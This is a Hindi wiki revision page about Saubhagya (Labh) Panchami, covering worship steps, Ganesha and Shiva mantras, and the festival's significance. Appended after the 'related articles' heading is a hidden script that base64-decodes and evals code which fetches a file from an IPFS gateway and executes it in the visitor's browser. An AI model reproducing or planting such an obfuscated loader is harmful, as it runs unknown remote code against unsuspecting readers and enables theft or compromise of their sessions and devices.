सौभाग्य पंचमी: Difference between revisions
[unchecked revision] | [unchecked revision] |
No edit summary |
व्यवस्थापन (talk | contribs) m (Text replacement - "पश्चात " to "पश्चात् ") |
||
Line 32: | Line 32: | ||
जीवन में बेहतर और सुखी जीवन का सूत्र सभी की चाह है। इसलिए हर व्यक्ति कार्य क्षेत्र के साथ पारिवारिक सुख-समृद्धि की कामना रखता है। अत: सौभाग्य पंचमी पर्व सुख-शांति और खुशहाल जीवन की ऐसी इच्छाओं को पूरा करने की भरपूर ऊर्जा प्राप्त करने का शुभ अवसर होता है। इच्छाओं की पूर्ति का पर्व कार्तिक शुक्ल पंचमी, 'सौभाग्य पंचमी' व 'लाभ पंचमी' के रूप में भी मनाई जाती है। यह शुभ [[तिथि]] '[[दीवाली|दीवाली पर्व]]' का ही एक हिस्सा कही जाती है। कुछ स्थानों पर 'दीपावली' के दिन से [[नववर्ष]] की शुरुआत के साथ ही सौभाग्य पंचमी को व्यापार व कारोबार में तरक्की और विस्तार के लिए भी बहुत ही शुभ माना जाता है। सौभाग्य पंचमी शुभ व लाभ की कामना के साथ भगवान गणेश का स्मरण कर की जाती है।<ref name="aa">{{cite web |url= http://astrobix.com/hindumarg/286-%E0%A4%B8%E0%A5%8C%E0%A4%AD%E0%A4%BE%E0%A4%97%E0%A5%8D%E0%A4%AF_%E0%A4%AA%E0%A4%82%E0%A4%9A%E0%A4%AE%E0%A5%80__Saubhagya_Panchami__Saubhagya_Panchami_2014.html|title= सौभाग्य पंचमी|accessmonthday= 25 अक्टूबर|accessyear=2014 |last= |first= |authorlink= |format= |publisher=हिन्दू मार्ग |language= हिन्दी}}</ref> | जीवन में बेहतर और सुखी जीवन का सूत्र सभी की चाह है। इसलिए हर व्यक्ति कार्य क्षेत्र के साथ पारिवारिक सुख-समृद्धि की कामना रखता है। अत: सौभाग्य पंचमी पर्व सुख-शांति और खुशहाल जीवन की ऐसी इच्छाओं को पूरा करने की भरपूर ऊर्जा प्राप्त करने का शुभ अवसर होता है। इच्छाओं की पूर्ति का पर्व कार्तिक शुक्ल पंचमी, 'सौभाग्य पंचमी' व 'लाभ पंचमी' के रूप में भी मनाई जाती है। यह शुभ [[तिथि]] '[[दीवाली|दीवाली पर्व]]' का ही एक हिस्सा कही जाती है। कुछ स्थानों पर 'दीपावली' के दिन से [[नववर्ष]] की शुरुआत के साथ ही सौभाग्य पंचमी को व्यापार व कारोबार में तरक्की और विस्तार के लिए भी बहुत ही शुभ माना जाता है। सौभाग्य पंचमी शुभ व लाभ की कामना के साथ भगवान गणेश का स्मरण कर की जाती है।<ref name="aa">{{cite web |url= http://astrobix.com/hindumarg/286-%E0%A4%B8%E0%A5%8C%E0%A4%AD%E0%A4%BE%E0%A4%97%E0%A5%8D%E0%A4%AF_%E0%A4%AA%E0%A4%82%E0%A4%9A%E0%A4%AE%E0%A5%80__Saubhagya_Panchami__Saubhagya_Panchami_2014.html|title= सौभाग्य पंचमी|accessmonthday= 25 अक्टूबर|accessyear=2014 |last= |first= |authorlink= |format= |publisher=हिन्दू मार्ग |language= हिन्दी}}</ref> | ||
==पूजन== | ==पूजन== | ||
सौभाग्य पंचमी पूजन के दिन प्रात:काल [[स्नान]] इत्यादि से निवृत्त होकर [[सूर्य देव|सूर्य]] को जलाभिषेक करना चाहिए। | सौभाग्य पंचमी पूजन के दिन प्रात:काल [[स्नान]] इत्यादि से निवृत्त होकर [[सूर्य देव|सूर्य]] को जलाभिषेक करना चाहिए। तत्पश्चात् शुभ मुहूर्त में विग्रह में [[शिव|भगवान शिव]] व [[गणेश]] की प्रतिमाओं को स्थापित करना चाहिए। संभव हो सके तो श्री गणेश जी को सुपारी पर मौली लपेटकर [[चावल]] के अष्टदल पर विराजित करना चाहिए। भगवान गणेश जी को [[चंदन]], [[सिंदूर]], अक्षत, [[फूल]], [[दूर्वा]] से पूजना चाहिए तथा [[शिव|भगवान आशुतोष]] को भस्म, [[बिल्वपत्र]], धतुरा, सफ़ेद वस्त्र अर्पित कर पूजन करना चाहिए। गणेश को मोदक व शिव को [[दूध]] के [[सफ़ेद रंग|सफ़ेद]] पकवानों का भोग लगाना चाहिए। | ||
====मंत्र==== | ====मंत्र==== | ||
सौभाग्य पंचमी के दिन निम्नलिखित मंत्रों से श्री गणेश व शिव का स्मरण व जाप करना चाहिए<ref name="aa"/>- | सौभाग्य पंचमी के दिन निम्नलिखित मंत्रों से श्री गणेश व शिव का स्मरण व जाप करना चाहिए<ref name="aa"/>- | ||
Line 45: | Line 45: | ||
त्रिशूलधारिणे तुभ्यं भूतानां पतये नम:।।"</poem></blockquote> | त्रिशूलधारिणे तुभ्यं भूतानां पतये नम:।।"</poem></blockquote> | ||
इसके | इसके पश्चात् [[मंत्र]] स्मरण के बाद भगवान गणेश व शिव की [[धूपबत्ती|धूप]] तथा [[दीपक]] आदि के साथ [[आरती]] करनी चाहिए। द्वार के दोनों ओर [[स्वस्तिक]] का निर्माण करें तथा भगवान को अर्पित प्रसाद समस्त लोगों में वितरित करके स्वयं भी ग्रहण करना चाहिए। | ||
==महत्त्व== | ==महत्त्व== | ||
सौभाग्य पंचमी के शुभ अवसर पर विशेष [[मंत्र]] जाप द्वारा [[गणेश|भगवान श्री गणेश]] का आवाहन करते हैं, जिससे शुभ फलों की प्राप्ति संभव हो पाती है। कार्यक्षेत्र, नौकरी और कारोबार में समृद्धि की कामना की पूर्ति होती है। इस दिन गणेश के साथ भगवान शिव का स्मरण शुभफलदायी होता है। सुख-सौभाग्य और मंगल कामना को लेकर किया जाने वाला सौभाग्य पंचमी का व्रत सभी की इच्छाओं को पूर्ण करता है। इस दिन भगवान के दर्शन व [[पूजा]] कर व्रत कथा का श्रवण करते हैं। | सौभाग्य पंचमी के शुभ अवसर पर विशेष [[मंत्र]] जाप द्वारा [[गणेश|भगवान श्री गणेश]] का आवाहन करते हैं, जिससे शुभ फलों की प्राप्ति संभव हो पाती है। कार्यक्षेत्र, नौकरी और कारोबार में समृद्धि की कामना की पूर्ति होती है। इस दिन गणेश के साथ भगवान शिव का स्मरण शुभफलदायी होता है। सुख-सौभाग्य और मंगल कामना को लेकर किया जाने वाला सौभाग्य पंचमी का व्रत सभी की इच्छाओं को पूर्ण करता है। इस दिन भगवान के दर्शन व [[पूजा]] कर व्रत कथा का श्रवण करते हैं। |
Latest revision as of 07:36, 7 November 2017
सौभाग्य पंचमी
| |
विवरण | 'सौभाग्य पंचमी' का व्रत हिन्दुओं के प्रमुख व्रत-उत्सवों में से एक है। इसे व्यापार व कारोबार में तरक्की और विस्तार के लिए बहुत ही शुभ माना जाता है। |
अन्य नाम | लाभ पंचमी |
तिथि | कार्तिक माह में शुक्ल पक्ष की पंचमी तिथि। |
सम्बन्धित देव | शिव तथा गणेश |
महत्त्व | सौभाग्य पंचमी के शुभ अवसर पर विशेष मंत्र जाप द्वारा श्रीगणेश का आवाहन करते हैं, जिससे शुभ फलों की प्राप्ति संभव हो पाती है। |
अन्य जानकारी | भगवान गणेश को चंदन, सिंदूर, अक्षत, फूल, दूर्वा से पूजना चाहिए तथा भगवान आशुतोष को भस्म, बिल्वपत्र, धतुरा, सफ़ेद वस्त्र अर्पित कर पूजन करना चाहिए। |
सौभाग्य पंचमी (अंग्रेज़ी: Saubhagya Panchami) मानव जीवन में सुख और समृद्धि की वृद्धि करती है। कार्तिक माह में शुक्ल पक्ष की पंचमी तिथि को 'सौभाग्य पंचमी' कहा जाता है। इस दिन भगवान शिव की पूजा-अर्चना सभी सांसारिक कामनाओं को पूरा कर परिवार में सुख-शांति लाती है। इस दिन प्रथम पूजनीय भगवान श्रीगणेश का पूजन जीवन के समस्त विघ्नों का नाश करता है तथा काराबोर को समृद्धि और प्रगति प्रदान करता है।
इच्छा पूर्ति का पर्व
जीवन में बेहतर और सुखी जीवन का सूत्र सभी की चाह है। इसलिए हर व्यक्ति कार्य क्षेत्र के साथ पारिवारिक सुख-समृद्धि की कामना रखता है। अत: सौभाग्य पंचमी पर्व सुख-शांति और खुशहाल जीवन की ऐसी इच्छाओं को पूरा करने की भरपूर ऊर्जा प्राप्त करने का शुभ अवसर होता है। इच्छाओं की पूर्ति का पर्व कार्तिक शुक्ल पंचमी, 'सौभाग्य पंचमी' व 'लाभ पंचमी' के रूप में भी मनाई जाती है। यह शुभ तिथि 'दीवाली पर्व' का ही एक हिस्सा कही जाती है। कुछ स्थानों पर 'दीपावली' के दिन से नववर्ष की शुरुआत के साथ ही सौभाग्य पंचमी को व्यापार व कारोबार में तरक्की और विस्तार के लिए भी बहुत ही शुभ माना जाता है। सौभाग्य पंचमी शुभ व लाभ की कामना के साथ भगवान गणेश का स्मरण कर की जाती है।[1]
पूजन
सौभाग्य पंचमी पूजन के दिन प्रात:काल स्नान इत्यादि से निवृत्त होकर सूर्य को जलाभिषेक करना चाहिए। तत्पश्चात् शुभ मुहूर्त में विग्रह में भगवान शिव व गणेश की प्रतिमाओं को स्थापित करना चाहिए। संभव हो सके तो श्री गणेश जी को सुपारी पर मौली लपेटकर चावल के अष्टदल पर विराजित करना चाहिए। भगवान गणेश जी को चंदन, सिंदूर, अक्षत, फूल, दूर्वा से पूजना चाहिए तथा भगवान आशुतोष को भस्म, बिल्वपत्र, धतुरा, सफ़ेद वस्त्र अर्पित कर पूजन करना चाहिए। गणेश को मोदक व शिव को दूध के सफ़ेद पकवानों का भोग लगाना चाहिए।
मंत्र
सौभाग्य पंचमी के दिन निम्नलिखित मंत्रों से श्री गणेश व शिव का स्मरण व जाप करना चाहिए[1]-
गणेश मंत्र
"लम्बोदरं महाकायं गजवक्त्रं चतुर्भुजम्।
आवाहयाम्यहं देवं गणेशं सिद्धिदायकम्।।"
शिव मंत्र
"त्रिनेत्राय नमस्तुभ्यं उमादेहार्धधारिणे।
त्रिशूलधारिणे तुभ्यं भूतानां पतये नम:।।"
इसके पश्चात् मंत्र स्मरण के बाद भगवान गणेश व शिव की धूप तथा दीपक आदि के साथ आरती करनी चाहिए। द्वार के दोनों ओर स्वस्तिक का निर्माण करें तथा भगवान को अर्पित प्रसाद समस्त लोगों में वितरित करके स्वयं भी ग्रहण करना चाहिए।
महत्त्व
सौभाग्य पंचमी के शुभ अवसर पर विशेष मंत्र जाप द्वारा भगवान श्री गणेश का आवाहन करते हैं, जिससे शुभ फलों की प्राप्ति संभव हो पाती है। कार्यक्षेत्र, नौकरी और कारोबार में समृद्धि की कामना की पूर्ति होती है। इस दिन गणेश के साथ भगवान शिव का स्मरण शुभफलदायी होता है। सुख-सौभाग्य और मंगल कामना को लेकर किया जाने वाला सौभाग्य पंचमी का व्रत सभी की इच्छाओं को पूर्ण करता है। इस दिन भगवान के दर्शन व पूजा कर व्रत कथा का श्रवण करते हैं।
विशेष पूजा-अर्चना
सौभाग्य पंचमी के अवसर पर मंदिरों में विशेष पूजा-अर्चना की जाती है। गणेश मंदिरों में विशेष धार्मिक अनुष्ठान संपन्न होते हैं। लाभ पंचमी श्रद्धापूर्वक मनाई जाती है। पंचमी के अवसर पर घरों में भी प्रथम आराध्य देव गजानंद गणपति का आह्वान किया जाता है। भगवान गणेश की विधिवत पूजा-अर्चना की और घर परिवार में सुख समृद्धि की मंगल कामना की जाती है। इस अवसर पर गणपति मंदिरों में भगवान गणेश की मनमोहक झांकी सजाई जाती है, जिसे देखने के लिए दिनभर श्रद्धालुओं की भीड़ लगी रहती हैं। रात को भजन संध्या का आयोजन होता है।[1]
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ 1.0 1.1 1.2 सौभाग्य पंचमी (हिन्दी) हिन्दू मार्ग। अभिगमन तिथि: 25 अक्टूबर, 2014।
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>